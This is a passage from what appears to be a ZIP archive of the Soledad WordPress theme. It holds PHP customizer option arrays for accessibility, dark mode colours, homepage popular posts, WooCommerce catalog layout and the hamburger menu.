			'default' => '12',
		),
	),
);

return $options;
PK     0w\>׳W    H  customizer/config/sections/pencidesign_general_accessibility_section.phpnu [        <?php
$options = [];

$options[] = array(
	'label'           => __( 'General', 'soledad' ),
	'id'              => 'penci_accessibility_heading_03',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Commons Accessibility Options', 'soledad' ),
	'description'     => __( 'Enable this option to access the settings below.', 'soledad' ),
	'id'              => 'penci_accessibility_enable',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'label'           => __( 'Standard Accessibility', 'soledad' ),
	'id'              => 'penci_accessibility_heading_01',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Skiplinks', 'soledad' ),
	'id'              => 'penci_accessibility_skiplinks',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Skiplinks always visible', 'soledad' ),
	'id'              => 'penci_accessibility_skiplinks_visible',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Remove tabindex from focusable elements', 'soledad' ),
	'id'              => 'penci_accessibility_rm_tabindex',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Force underline on links', 'soledad' ),
	'id'              => 'penci_accessibility_underline',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Add outline to elements on keyboard focus', 'soledad' ),
	'id'              => 'penci_accessibility_focus',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Use Keyboard to Navigate Next/Previous Posts', 'soledad' ),
	'id'              => 'penci_accessibility_key_prext',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Add Missing IMG Alt Tag', 'soledad' ),
	'id'              => 'penci_accessibility_img_alt',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Force Add a Title Attribute to an HTML Tag', 'soledad' ),
	'id'              => 'penci_accessibility_title_attr',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Disable All Theme Animations', 'soledad' ),
	'id'              => 'penci_accessibility_animate',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'label'           => __( 'Enhanced Accessibility', 'soledad' ),
	'id'              => 'penci_accessibility_heading_02',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Enhanced Accessibility Features', 'soledad' ),
	'description' 	  => __( 'Enables comprehensive WCAG compliance features including improved navigation, form handling, and screen reader support.', 'soledad' ),
	'id'              => 'penci_accessibility_enhanced',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enhanced Keyboard Navigation', 'soledad' ),
	'id'              => 'penci_accessibility_enhanced_nav',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'ARIA Live Regions', 'soledad' ),
	'id'              => 'penci_accessibility_aria_live',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enhanced Form Labels', 'soledad' ),
	'id'              => 'penci_accessibility_form_labels',
	'type'            => 'soledad-fw-toggle',
);

return $options;PK     0w\n=    F  customizer/config/sections/pencidesign_general_colors_dark_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => esc_html__( 'Dark Mode Switcher', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Enable Dark Mode Switcher', 'soledad' ),
	'id'       => 'penci_dms_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Set Dark Mode as Default', 'soledad' ),
	'id'       => 'penci_dms_dark_default',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Switcher Style', 'soledad' ),
	'id'       => 'penci_dms_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'1' => __('Style 1','soledad' ),
		'2' => __('Style 2','soledad' ),
		'3' => __('Style 3','soledad' ),
		'4' => __('Style 4','soledad' ),
	),
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field'
);

$options[] = array(
	'label'    => esc_html__( 'Auto Dark Mode', 'soledad' ),
	'id'       => 'penci_dms_auto_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'disable' => __('Disable','soledad' ),
		'os'      => __('By Operating System','soledad' ),
		'time'    => __('By User Time','soledad' ),
	),
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => esc_html__( 'Dark Mode Colors', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading_2',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Logo for Dark Mode', 'soledad' ),
	'id'       => 'penci_menu_logo_dark',
	'type'     => 'soledad-fw-image',
);

$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Logo for Vertical Mobile Navigation', 'soledad' ),
	'id'       => 'penci_menu_logosidebar_dark',
	'type'     => 'soledad-fw-image',
);

$options[] = array(
	'label'    => __( 'Background Color for Body', 'soledad' ),
	'id'       => 'penci_dm_bg_color_dark',
	'default'  => '#000000',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'General Border Color', 'soledad' ),
	'id'       => 'penci_dm_border_color_dark',
	'default'  => '#333333',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_accent_color_dark',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Link Color', 'soledad' ),
	'id'       => 'penci_link_color_dark',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Link Hover Color', 'soledad' ),
	'id'       => 'penci_link_hcolor_dark',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'General Heading Text Color', 'soledad' ),
	'id'       => 'penci_heading_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_dm_text_color_dark',
	'default'  => '#afafaf',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Posts Meta Color', 'soledad' ),
	'id'       => 'penci_dm_meta_color_dark',
	'default'  => '#949494',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Dark Mode Switcher Button', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading_01',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'General Background Color', 'soledad' ),
	'id'       => 'penci_dm_bg_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Day Button/Icon Color', 'soledad' ),
	'id'       => 'penci_dm_d_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Day Button/Icon Background Color', 'soledad' ),
	'id'       => 'penci_dm_d_bgcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Night Button/Icon Color', 'soledad' ),
	'id'       => 'penci_dm_n_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Night Button/Icon Background Color', 'soledad' ),
	'id'       => 'penci_dm_n_bgcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

return $options;
PK     0w\ZQ  Q  K  customizer/config/sections/penci_section_homepage_popular_posts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Popular Posts on HomePage', 'soledad' ),
	'id'       => 'penci_enable_home_popular_posts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_numberposts',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_numberposts',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Home Popular Posts on', 'soledad' ),
	'id'       => 'penci_home_popular_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array_merge( penci_jetpack_option(), array(
		''      => __('All Time','soledad' ),
		'week'  => __('Once Weekly','soledad' ),
		'month' => __('Once a Month','soledad' ),
	) )
);
$options[] = array(
	'default'  => 'Popular Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Title for Home Popular Posts Box', 'soledad' ),
	'id'       => 'penci_home_popular_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '0',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Filter Home Popular Posts by A Category', 'soledad' ),
	'id'       => 'penci_home_popular_cat',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$category = [ '' ];
		$count    = wp_count_terms( 'category' );
		$limit    = 99;
		if ( (int) $count <= $limit ) {
			$categories = get_categories( [
				'hide_empty'   => false,
				'hierarchical' => true,
			] );
			foreach ( $categories as $value ) {
				$category[ $value->term_id ] = $value->name;
			}
		} else {
			$selected = get_theme_mod( 'penci_top_bar_category' );
			if ( ! empty( $selected ) ) {
				$categories = get_categories( [
					'hide_empty'   => false,
					'hierarchical' => true,
					'include'      => $selected,
				] );

				foreach ( $categories as $value ) {
					$category[ $value->term_id ] = $value->name;
				}
			}
		}

		return $category;
	} ),
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Words Length for Post Titles on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_polular_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_home_polular_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles for Popular Posts on HomePage', 'soledad' ),
	'id'       => 'penci_lowcase_popular_posts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Date on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_hide_date_home_popular',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_enable_home_popular_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Prev/Next Buttons on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_shownav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Dots on Home Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_hidedots',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     0w\< 4   4  F  customizer/config/sections/pencidesign_woo_product_catalog_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total Products Display Per Page', 'soledad' ),
	'id'       => 'penci_woo_post_per_page',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_post_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '24',
		),
	),
);
$options[] = array(
	'id'       => 'penci_catalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Tools Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '9,24,36',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Products Per Page Variations', 'soledad' ),
	'id'       => 'penci_woo_post_per_page_variations',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_woo_per_row_columns_selector',
	'default'  => true,
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Show Columns Selector on Shop page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'list-grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Shop products view', 'soledad' ),
	'description'=>__('You can set different view mode for the shop page','soledad'),
	'id'          => 'penci_shop_product_view',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'      => __('Grid','soledad' ),
		'list'      => __('List','soledad' ),
		'grid-list' => __('Grid/List','soledad' ),
		'list-grid' => __('List/Grid','soledad' ),
	)
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'AJAX shop', 'soledad' ),
	'description'=>__('Enable AJAX functionality for filter widgets, categories navigation, and pagination on the shop page.','soledad'),
	'id'          => 'penci_woocommerce_ajax_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Scroll to top after AJAX', 'soledad' ),
	'description'=>__('Disable - Enable scroll to top after AJAX.','soledad'),
	'id'          => 'penci_woocommerce_ajax_shop_auto_top',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_5',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_posts',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show blog search results below of product search', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_total',
	'default'  => 5,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total blog item Display under product serch', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_search_included_total',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => 5,
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Settings', 'soledad' ),
	'id'       => 'penci_calalog_heading_1',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Category Style', 'soledad' ),
	'description'=>__('Select the style of the category showing on archive/categories/tags/search','soledad'),
	'id'          => 'penci_woocommerce_product_cat_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
		'style-5' => __('Style 5','soledad' ),
	)
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Item Style', 'soledad' ),
	'description'=>__('Select the style of the product showing on shop/archive/categories/tags/search<br/>.','soledad'),
	'id'          => 'penci_woocommerce_product_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Default','soledad' ),
		'style-1'  => __('Style 1','soledad' ),
		'style-2'  => __('Style 2','soledad' ),
		'style-3'  => __('Style 3','soledad' ),
		'style-4'  => __('Style 4','soledad' ),
		'style-5'  => __('Style 5','soledad' ),
		'style-6'  => __('Style 6','soledad' ),
		'style-7'  => __('Style 7','soledad' ),
	)
);
$options[] = array(
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Style', 'soledad' ),
	'description'=>__('Select icon hover style on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round' => __('Separate Round','soledad' ),
		'group' => __('Group in Rectangle','soledad' ),
	)
);
$options[] = array(
	'default'     => 'top-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Position', 'soledad' ),
	'description'=>__('Select icon hover position on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'center-top'    => __('Center Top','soledad' ),
		'center-center' => __('Center Center','soledad' ),
		'center-bottom' => __('Center Bottom','soledad' ),
	)
);
$options[] = array(
	'default'     => 'move-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Animation', 'soledad' ),
	'description'=>__('Select icon hover animation on Product Item','soledad'),
	'id'          => 'penci_woocommerce_product_icon_hover_animation',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'move-left'   => __('Move to left','soledad' ),
		'move-right'  => __('Move to Right','soledad' ),
		'move-top'    => __('Move to Top','soledad' ),
		'move-bottom' => __('Move to Bottom','soledad' ),
		'fade'        => __('Fade In','soledad' ),
		'zoom'        => __('Zoom In','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Hover Image on Product Catalog ?', 'soledad' ),
	'id'       => 'penci_woocommerce_product_hover_img',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product category ?', 'soledad' ),
	'description'=>__('Display product category link below the product title.','soledad'),
	'id'          => 'penci_woocommerce_loop_category',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_loop_rating',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product star rating ?', 'soledad' ),
	'description'=>__('Display product loop rating below the product title.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Login to see add to cart and prices', 'soledad' ),
	'description'=>__('You can restrict shopping functions only for logged in customers.','soledad'),
	'id'          => 'penci_woocommerce_restrict_cart_price',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Quick Select Options on Product', 'soledad' ),
	'description'=>__('Allow customers purchase product on hover content.','soledad'),
	'id'          => 'penci_woocommerce_product_quick_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Title Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product title you want to display',
	'id'       => 'penci_woo_limit_product_title',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Excerpt Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product summary you want to display',
	'id'       => 'penci_woo_limit_product_excerpt',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_excerpt',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
if ( function_exists( 'penci_product_attributes_array' ) && function_exists( 'wc_get_attribute_taxonomies' ) ) {
	$options[] = array(
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Grid swatch attribute to display', 'soledad' ),
		'description'=>__('Choose the attribute that will be shown on the product grid.','soledad'),
		'id'          => 'penci_woocommerce_grid_swatch',
		'type'        => 'soledad-fw-ajax-select',
		'choices'     => call_user_func( function () {
			$attributes = array();
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
			}

			return $attributes;
		} ),
	);
}
$options[] = array(
	'default'  => '5',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Limit swatches on grid ', 'soledad' ),
	'id'       => 'penci_woocommerce_grid_swatch_limit',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_grid_swatch_limit',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Product Swatches Shop Cache', 'soledad' ),
	'description'=>__('By default, Soledad using cache to speed up Query for swatch image. Uncheck this option to disable/debug.','soledad'),
	'id'          => 'penci_woocommerce_grid_swatch_cache',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Columns Settings', 'soledad' ),
	'id'       => 'penci_catalog_heading_4',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Columns', 'soledad' ),
	'description'=>__('How many category should be shown per row on section ?','soledad'),
	'id'          => 'penci_shop_cat_columns',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'     => 'grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Display Style', 'soledad' ),
	'description'=>__('Select the category displays style on shop/category page','soledad'),
	'id'          => 'penci_shop_cat_display_type',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'     => __('Grid','soledad' ),
		'carousel' => __('Carousel','soledad' ),
	)
);
$options[] = array(
	'default'     => 3,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Desktop', 'soledad' ),
	'description'=>__('How many products should be shown per row on desktop ?','soledad'),
	'type'        => 'soledad-fw-select',
	'id'          => 'penci_shop_product_columns',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'     => 2,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Mobile', 'soledad' ),
	'description'=>__('How many products should be shown per row on mobile ?','soledad'),
	'id'          => 'penci_shop_product_mobile_columns',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		1 => __('1 Column','soledad' ),
		2 => __('2 Columns','soledad' ),
	)
);

return $options;
PK     0w\'t-)  -)  5  customizer/config/sections/penci_menu_hbg_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Menu Hamburger', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_show',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Vertical Navigation', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_vertical_nav_show',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Completely Delete The Header When Enable Vertical Navigation', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_vertical_nav_remove_header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Menu Hamburger Icon Display on Horizontal Navigation on Mobile', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_mobile',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Use Penci Block Content', 'soledad' ),
	'id'       => 'penci_vertical_block',
	'type'     => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'type'     => 'soledad-fw-image',
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Set A Background Image', 'soledad' ),
	'id'       => 'penci_menu_hbg_bgimg',
);
$options[] = array(
	'default'     => '330',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Width for Vertical Nav & Menu Hamburger', 'soledad' ),
	'description' => __( 'Min is 250px, Max is 500px', 'soledad' ),
	'id'          => 'penci_hbg_width',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_hbg_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '330',
		),
	),
);
$options[] = array(
	'default'     => '18',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Size for Hamburger Menu Icon', 'soledad' ),
	'description' => __( 'Min is 14px, Max is 30px', 'soledad' ),
	'id'          => 'penci_hbg_size_icon',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_hbg_size_icon',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_html__( 'Position in Page', 'soledad' ),
	'id'       => 'penci_menu_hbg_pos',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'  => esc_html__( 'Left', 'soledad' ),
		'right' => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Logo', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hide_logo',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Custom Logo Image', 'soledad' ),
	'id'       => 'penci_menu_hbg_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Link for Logo Image', 'soledad' ),
	'id'       => 'penci_custom_logo_hamburger',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Set A Max Width for Logo Image', 'soledad' ),
	'id'       => 'penci_hbg_logo_max_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_logo_max_width',
	),
